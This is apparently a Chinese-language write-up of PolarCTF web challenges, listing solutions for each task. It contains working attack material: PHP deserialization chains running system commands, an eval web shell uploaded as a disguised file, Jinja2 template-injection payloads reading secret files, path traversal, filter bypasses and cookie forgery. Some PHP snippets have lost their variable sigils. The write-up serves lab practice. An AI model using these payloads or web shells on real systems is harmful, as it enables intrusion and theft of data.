PolarCTF WEB 题解(06)

PolarCTF WEB 题解(06)

简单的链子

100 分 1 Polar币

2025年夏季个人挑战赛

<?php
class A {
    public cmd="ls /";
    function __destruct() {
        if (isset(this->cmd)) {
            system(this->cmd);
        }
    }
}a=new A();
payload=serialize(a);
echo $payload;
?>
O:1:"A":1:{s:3:"cmd";s:4:"ls /";}
?data=O:1:"A":1:{s:3:"cmd";s:9:"cat /flag";}

渗透之王

500 分 5 Polar币

2025年夏季个人挑战赛

dirsearch -u url

find:

/admin.php

/www.zip

网页上找到base64解密的polarctf字串作为zip文件解密

www.zip

得到密码字典。

爆破密码

user: admin

得到admin789密码。

?page=php://filter/convert.base64-encode/resource=hint.php

里面说有upload

?page=php://filter/convert.base64-encode/resource=upload.php

/polarctf/upload.php

上传目录地址:./uplado/gsl.php

/polarctf/uplado/gsl.php

pass=system(“ls ..”);

pass=system(“cat ../flag.txt”);

pass=system(“cat ../f*.txt”);

真假ECR

300 分 3 Polar币

2025年夏季个人挑战赛

?cmd=l\s
cainiao.txt flag.php heigouzi.php index.php she11.php

/heigouzi.php?cmd=ls
/cainiao.txt

/flag.php
KeY=aGVpZ291emk= key=answer USERID=p8Sjk58 DATA=2JSklNA= 如果这也不明白的话,加上后缀试一试
<?php
class Decryption{
    public function decrypt(data,key){
        char = '';str= '';
        key = md5(key);
        x = 0;data = base64_decode(data);len = strlen(data);l = strlen(key);
        for(i=0;i<len;i++){
            if(x == l){x = 0;
            }
            char .= substr(key,x,1);x++;
        }
        for(i = 0;i<len;i++){
            str .= chr(ord(data{i}) - ord(char{i}));
        }
        echostr;
    }
}
decrypt=new Decryption();decrypt->decrypt("2JSklNA=","answer");
?>
wanan
/she11.php

wanan=system("ls /");
wanan=system("cat /flag");

nukaka_ser2

300 分 3 Polar币

2025年夏季个人挑战赛

<?php
class FlagReader {
    private logfile = "/tmp/log.txt";
    protectedcontent = "<?php system(\_GET['cmd']); ?>";
}

class DataValidator {
}

class FakeDanger {
    privatebuffer;
}

class VulnerableClass {
    public logger;
    privatedebugMode = true;
}

a=new VulnerableClass();a->logger=new FlagReader();
payload=serialize(a);
echo payload;
echo "\n";
echo base64_encode(payload);
?>
O:15:"VulnerableClass":2:{s:6:"logger";O:10:"FlagReader":2:{s:19:"FlagReaderlogfile";s:12:"/tmp/log.txt";s:10:"*content";s:30:"<?php system($_GET['cmd']); ?>";}s:26:"VulnerableClassdebugMode";b:1;}
TzoxNToiVnVsbmVyYWJsZUNsYXNzIjoyOntzOjY6ImxvZ2dlciI7TzoxMDoiRmxhZ1JlYWRlciI6Mjp7czoxOToiAEZsYWdSZWFkZXIAbG9nZmlsZSI7czoxMjoiL3RtcC9sb2cudHh0IjtzOjEwOiIAKgBjb250ZW50IjtzOjMwOiI8P3BocCBzeXN0ZW0oJF9HRVRbJ2NtZCddKTsgPz4iO31zOjI2OiIAVnVsbmVyYWJsZUNsYXNzAGRlYnVnTW9kZSI7YjoxO30=

ghost_render

100 分 1 Polar币

2025年夏季个人挑战赛

{{7*7}}

{{ config.__class__.__init__.__globals__['os'].environ.get('FLAG_PATH') }}

{{ self.__init__.__globals__.__builtins__.open("/var/secret_flag").read()  }}

rce命令执行系统

100 分 1 Polar币

2025年夏季个人挑战赛

/flag.txt
/f1ag.php

env XOR_KEY=Polar

easyRead

500 分 5 Polar币

2025年夏季个人挑战赛

<?php
class  Read{
    public source;
    publicis;

    public function __toString() {
        return this->is->run("Read");
    }

    public function __wakeup(){
            echo "Hello>>>".this->source;
    }

}
class Help{
    public source;
    publicstr;
    public function Printf(what){
        echo "Hello>>>".what;
        echo "<br>";
        return this->str->source;
    }

    public function __call(name, arguments){this->Printf(name);
    }
}
class Polar {
    privatevar="system('cat /flag.php');";
    public function getit(value){

        eval(value);
    }
    public function __invoke(){
        this->getit(this->var);
    }
}

class Doit{
    public is;
    privatesource;
    public function __construct(){
        this->is = array();
    }

    public function __get(key){
        vul =this->is;
        return vul();
    }
}read=new Read();   //a
read1=new Read();  //a1help=new Help();   //b
doit=new Doit();   //cpolar=new Polar(); //d

doit->is=polar;
help->str=doit;
read->is=help;
read1->source=read;

payload=serialize(read1);
//echo payload;
echo "\n";
echo urlencode(payload);
?>

?polar=O%3A4%3A%22Read%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Read%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A2%3A%22is%22%3BO%3A4%3A%22Help%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Doit%22%3A2%3A%7Bs%3A2%3A%22is%22%3BO%3A5%3A%22Polar%22%3A1%3A%7Bs%3A10%3A%22%00Polar%00var%22%3Bs%3A24%3A%22system%28%27cat+%2Fflag.php%27%29%3B%22%3B%7Ds%3A12%3A%22%00Doit%00source%22%3BN%3B%7D%7D%7Ds%3A2%3A%22is%22%3BN%3B%7D

命运石之门

100 分 1 Polar币

2025年夏季个人挑战赛

/password.txt

password=hunangleiSAMA0712&captcha=0000

huan9le1Sam0

你也玩铲吗

300 分 3 Polar币

2025年夏季个人挑战赛

dirsearch -u url

[00:05:58] 302 -    0B  - /admin_login.php  ->  admin_login.html?error=access_denied
[00:06:15] 200 -    0B  - /login.php
[00:06:15] 200 -    2KB - /login.html
[00:06:15] 200 -    1KB - /login_admin.html
[00:06:22] 200 -    0B  - /register.php
[00:06:22] 200 -    2KB - /register.html
[00:06:28] 200 -   83B  - /user.php
[00:06:28] 200 -  150B  - /users.json

<!--偷偷告诉你:auth的值需要是user:admin,但它的检查逻辑可能进行了一些编码,比如:base64......-->
┌──(kali㉿kali)-[~]
└─echo "user:admin"|base64                           
dXNlcjphZG1pbgo=
└─ echo -n user:admin|base64
dXNlcjphZG1pbg==
(要加-n,否则多了回车,不对了)
在线base64:
dXNlcjphZG1pbg==

增加cookie:

auth=dXNlcjphZG1pbg

访问:/admin_login.php

俄罗斯方块

100 分 1 Polar币

2025年秋季个人挑战赛

狗黑子的eval

500 分 5 Polar币

2025年秋季个人挑战赛

dirsearch -u url

/flag.php

tips:gouheizigouheizi=2gouheizi //不要勾八
<!--payload.php 狗黑子数数喜欢从1开始,不喜欢0 -->

/shell.php

/payload.php

<?php

//gou=a,gougou=b;
gou1="12gou";gou5="16gou";gou4="5gou";gou6="gou";
gou2="22gou";gou3="15gou";

gou1="l";gou5="p";
gou4="e";gou6="a";
gou2="v";gou3="o";

gou7="c3Rnbw==";gou7= base64_decode(gou7);gou8='-5pys572R6aG15piv5LiA5Liq5zyo57q/5bel5YW377yM5Y+v5Lul5oqK5a2X56ym5Liy6L2s5oiQIEJhc2U2NzCDmiJbogIXku44gQmFzzTY0IOi9rOaIkOaIkOWtl+espuS4s';
gou13=gou8{34};gou17=gou8{10};gou12=gou8{15};gou10=gou8{105};gou14=gou12;gou11=gou8{51};

gou=gou4.gou2.gou6.gou1.gou5.gou3.gou7.gou8.gou11.gou13.gou17.gou12.gou10.gou14;
echogou;
//remove gou8g=gou4.gou2.gou6.gou1.gou5.gou3.gou7.gou11.gou13.gou17.gou12.gou10.gou14;
echo "\n";
echog;
?>

output :

evalpostgo-5pys572R6aG15piv5LiA5Liq5zyo57q/5bel5YW377yM5Y+v5Lul5oqK5a2X56ym5Liy6L2s5oiQIEJhc2U2NzCDmiJbogIXku44gQmFzzTY0IOi9rOaIkOaIkOWtl+espuS4subaizi
evalpostgoubaizi

eval post goubaizi

hackbar 运行: goubaizi=system(“ls “); 没有错误,但也没有输出。

蚁剑登录后没有东西,需要插件:

image-20251001222135411

上代理,进入插件市场,安装脚本执行插件。

执行php脚本:

system('find / -name "flag*"');
system('cat /etc/flag');

PolarCMS

300 分 3 Polar币

2025年秋季个人挑战赛 tip:试试java文本框

markdown

${exec("ls /")}
${exec("cat /flag")}

代码审计easy

100 分 1 Polar币

2025年秋季个人挑战赛

/vulnerable.php?page=../flag.txt

Squirtle的论坛

300 分 3 Polar币

2025年秋季个人挑战赛

2025.10.1 10:20–27

半天没有启动,可能靶场出问题了,放一放。

2025.10.1 21:20–27 再次申请实例,半天也没有进去。剩余时间:3229秒 没能进去。

VIP

100 分 1 Polar币

2025年秋季个人挑战赛

以前做过的,待补充

狗黑子的舔狗日记

300 分 3 Polar币

2025年秋季个人挑战赛

dirsearch -u url

/flag.php

/www.zip

get password.txt file

?page=php://filter/convert.base64-encode/resource=index.php
┌──(kali㉿kali)-[/tmp]
└─echo 'ZmxhZ3vlpbPnpZ7nmoTlkI3lrZdtZDXliqDlr4Z9CnRpcHMgIOWls+elnuW+ruS/oeWPt++8mm52c2hlbg=='|base64 -d            
flag{女神的名字md5加密}
tips  女神微信号:nvshen 

/src/denglu.php
拦截,利用已有密码本爆破,user: nvshen
username=nvshen&password=nvshen345

登录,发个消息,收到回复:
好的,柳茹烟女神❤️

狗黑子
微信号: gouheizi666

 └─ echo -n "柳茹烟"|md5sum    
aa1e3ea993e122de5de6e387db6c8609  -
flag{aa1e3ea993e122de5de6e387db6c8609}

狗黑子的登录

500 分 5 Polar币

2025年秋季个人挑战赛

┌──(root㉿kali)-[/tmp/ctf]
└─# pipx run githacker --url http://0f5b23d4-c636-4bb2-bc88-5865b9653fcb.www.polarctf.com:8090/ --output-folder .

阅读源码,发现打开隐藏界面的参数。

/index.php

POST

seclients_can_register=1

打开注册界面

注册用户登录进去,进入admin.php

POST

seclients_can_upload=1

打开

上传200k大的gif, 改名php

<?php
eval($_POST["pass"]);
?>
adsfjkjjakdsljsdakldsjaklsagdjldsagkjdasfjkjdsfkakdsflakdsfkjfdsjak
...
FILL UNTILL length > 220,000 bytes

/uploads/big.php

登录蚁剑,/flag.

ZGZH

500 分 5 Polar币

2025年秋季个人挑战赛 tip:反序列化,把不需要的删掉

dirsearch -u url

/flag.php

信息中得到

/pass.php

857.00E+0000

老刘的小店

500 分 5 Polar币

2025年秋季个人挑战赛

创建2个账号,

一个给另一个转很多coins,

登录接收的一个,

得到新账号和密码提示

adminpolar 123456

源代码中得到一个命令执行漏洞信息:

添加\ 绕过关键字过滤。

/polar.php?id=l\s
/polar.php?id=l\s ../../..
/polar.php?id=c\at ../../../fl\ag

发表评论